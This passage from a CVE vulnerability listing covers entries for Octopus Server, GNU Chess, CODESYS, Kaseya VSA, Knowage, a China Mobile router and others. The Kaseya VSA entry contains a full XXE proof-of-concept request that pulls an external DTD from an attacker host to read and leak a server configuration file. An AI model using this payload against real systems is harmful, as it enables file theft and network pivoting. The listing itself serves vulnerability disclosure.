Cleartext storage of sensitive information in multiple versions of Octopus Server where in certain situations when running import or export processes, the password used to encrypt and decrypt sensitive values would be written to the logs in plaintext.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-312
Affected vendors: octopus
Affected products: server
CVE-2021-30184 (published 2021-04-07)
GNU Chess 6.2.7 allows attackers to execute arbitrary code via crafted PGN (Portable Game Notation) data. This is related to a buffer overflow in the use of a .tmp.epd temporary file in the cmd_pgnload and cmd_pgnreplay functions in frontend/cmd.cc.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Weakness: CWE-120
Affected vendors: fedoraproject, gnu
Affected products: chess, fedora
CVE-2021-30185 (published 2021-04-07)
CERN Indico before 2.3.4 can use an attacker-supplied Host header in a password reset link.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Affected vendors: cern
Affected products: indico
CVE-2021-30186 (published 2021-05-25)
CODESYS V2 runtime system SP before 2.4.7.55 has a Heap-based Buffer Overflow.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-787
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30187 (published 2021-05-25)
CODESYS V2 runtime system SP before 2.4.7.55 has Improper Neutralization of Special Elements used in an OS Command.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
Weakness: CWE-78
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30188 (published 2021-05-25)
CODESYS V2 runtime system SP before 2.4.7.55 has a Stack-based Buffer Overflow.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-787
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30189 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has a Stack-based Buffer Overflow.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-787
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-3019 (published 2021-01-05)
ffay lanproxy 0.1 allows Directory Traversal to read /../conf/config.properties to obtain credentials for a connection to the intranet.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-22
Affected vendors: lanproxy_project
Affected products: lanproxy
CVE-2021-30190 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has Improper Access Control.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-306
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30191 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has a a Buffer Copy without Checking the Size of the Input.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-120
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30192 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has an Improperly Implemented Security Check.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30193 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has an Out-of-bounds Write.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-787
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30194 (published 2021-05-25)
CODESYS V2 Web-Server before 1.1.9.20 has an Out-of-bounds Read.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)
Weakness: CWE-125
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30195 (published 2021-05-25)
CODESYS V2 runtime system before 2.4.7.55 has Improper Input Validation.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-125
Affected vendors: codesys, wago
Affected products: 750-8202, 750-8202_firmware, 750-8203, 750-8203_firmware, 750-8204, 750-8204_firmware, 750-8206, 750-8206_firmware, 750-8207, 750-8207_firmware, 750-8208, 750-8208_firmware, 750-8210, 750-8210_firmware, 750-8211, 750-8211_firmware, 750-8212, 750-8212_firmware, 750-8213, 750-8213_firmware, 750-8214, 750-8214_firmware, 750-8216, 750-8216_firmware, 750-8217
CVE-2021-30199 (published 2021-04-19)
In filters/reframe_latm.c in GPAC 1.0.1 there is a Null Pointer Dereference, when gf_filter_pck_get_data is called. The first arg pck may be null with a crafted mp4 file,which results in a crash.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
Weakness: CWE-476
Affected vendors: gpac
Affected products: gpac
CVE-2021-3020 (published 2022-08-26)
An issue was discovered in ClusterLabs Hawk (aka HA Web Konsole) through 2.3.0-15. It ships the binary hawk_invoke (built from tools/hawk_invoke.c), intended to be used as a setuid program. This allows the hacluster user to invoke certain commands as root (with an attempt to limit this to safe combinations). This user is able to execute an interactive "shell" that isn't limited to the commands specified in hawk_invoke, allowing escalation to root.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-269
Affected vendors: clusterlabs
Affected products: hawk
CVE-2021-30201 (published 2021-07-09)
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-611
Affected vendors: kaseya
Affected products: vsa
CVE-2021-30203 (published 2023-06-27)
A reflected cross-site scripting (XSS) vulnerability in the zero parameter of dzzoffice 2.02.1_SC_UTF8 allows attackers to execute arbitrary web scripts or HTML.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: dzzoffice
Affected products: dzzoffice
CVE-2021-30205 (published 2023-06-27)
Incorrect access control in the component /index.php?mod=system&op=orgtree of dzzoffice 2.02.1_SC_UTF8 allows unauthenticated attackers to browse departments and usernames.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Weakness: CWE-863
Affected vendors: dzzoffice
Affected products: dzzoffice
CVE-2021-30209 (published 2021-04-15)
Textpattern V4.8.4 contains an arbitrary file upload vulnerability where a plug-in can be loaded in the background without any security verification, which may lead to obtaining system permissions.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
Weakness: CWE-434
Affected vendors: textpattern
Affected products: textpattern
CVE-2021-3021 (published 2021-01-05)
ISPConfig before 3.2.2 allows SQL injection.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-89
Affected vendors: ispconfig
Affected products: ispconfig
CVE-2021-30211 (published 2021-05-12)
Knowage Suite 7.3 is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can inject arbitrary web script in '/knowage/restful-services/signup/update' via the 'surname' parameter.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: eng
Affected products: knowage
CVE-2021-30212 (published 2021-05-12)
Knowage Suite 7.3 is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can inject arbitrary web script in '/knowage/restful-services/documentnotes/saveNote' via the 'nota' parameter.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: eng
Affected products: knowage
CVE-2021-30213 (published 2021-05-12)
Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: eng
Affected products: knowage
CVE-2021-30214 (published 2021-05-12)
Knowage Suite 7.3 is vulnerable to Stored Client-Side Template Injection in '/knowage/restful-services/signup/update' via the 'name' parameter.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-74
Affected vendors: eng
Affected products: knowage
CVE-2021-30218 (published 2021-04-29)
samurai 1.2 has a NULL pointer dereference in writefile() in util.c via a crafted build file.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
Weakness: CWE-476
Affected vendors: samurai_project
Affected products: samurai
CVE-2021-30219 (published 2021-04-29)
samurai 1.2 has a NULL pointer dereference in printstatus() function in build.c via a crafted build file.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
Weakness: CWE-476
Affected vendors: samurai_project
Affected products: samurai
CVE-2021-3022 (published 2021-01-05)
An issue was discovered on LG mobile devices with Android OS 10 software. There was no write protection for the MTK protect2 partition. The LG ID is LVE-SMP-200028 (January 2021).
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
Affected vendors: google
Affected products: android
CVE-2021-30224 (published 2021-04-29)
Cross Site Request Forgery (CSRF) in Rukovoditel v2.8.3 allows attackers to create an admin user with an arbitrary credentials.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Weakness: CWE-352
Affected vendors: rukovoditel
Affected products: rukovoditel
CVE-2021-30227 (published 2021-04-29)
Cross Site Scripting (XSS) vulnerability in the article comments feature in emlog 6.0.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: emlog
Affected products: emlog
CVE-2021-30228 (published 2021-04-29)
The api/ZRAndlink/set_ZRAndlink interface in China Mobile An Lianbao WF-1 router 1.0.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the iandlink_proc_enable parameter.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: chinamobile
Affected products: an_lianbao_wf-1, an_lianbao_wf-1_firmware
CVE-2021-30229 (published 2021-04-29)
The api/zrDm/set_zrDm interface in China Mobile An Lianbao WF-1 router 1.0.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the dm_enable, AppKey, or Pwd parameter.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: chinamobile
Affected products: an_lianbao_wf-1, an_lianbao_wf-1_firmware
CVE-2021-30230 (published 2021-04-29)
The api/ZRFirmware/set_time_zone interface in China Mobile An Lianbao WF-1 router 1.0.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the zonename parameter.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: chinamobile
Affected products: an_lianbao_wf-1, an_lianbao_wf-1_firmware
CVE-2021-30231 (published 2021-04-29)
The api/zrDm/set_ZRElink interface in China Mobile An Lianbao WF-1 router 1.0.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the bssaddr, abiaddr, devtoken, devid, elinksync, or elink_proc_enable parameter.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: chinamobile
Affected products: an_lianbao_wf-1, an_lianbao_wf-1_firmware
CVE-2021-30232 (published 2021-04-29)
The api/ZRIGMP/set_IGMP_PROXY interface in China Mobile An Lianbao WF-1 router 1.0.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the IGMP_PROXY_WAN_CONNECT parameter.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: chinamobile
Affected products: an_lianbao_wf-1, an_lianbao_wf-1_firmware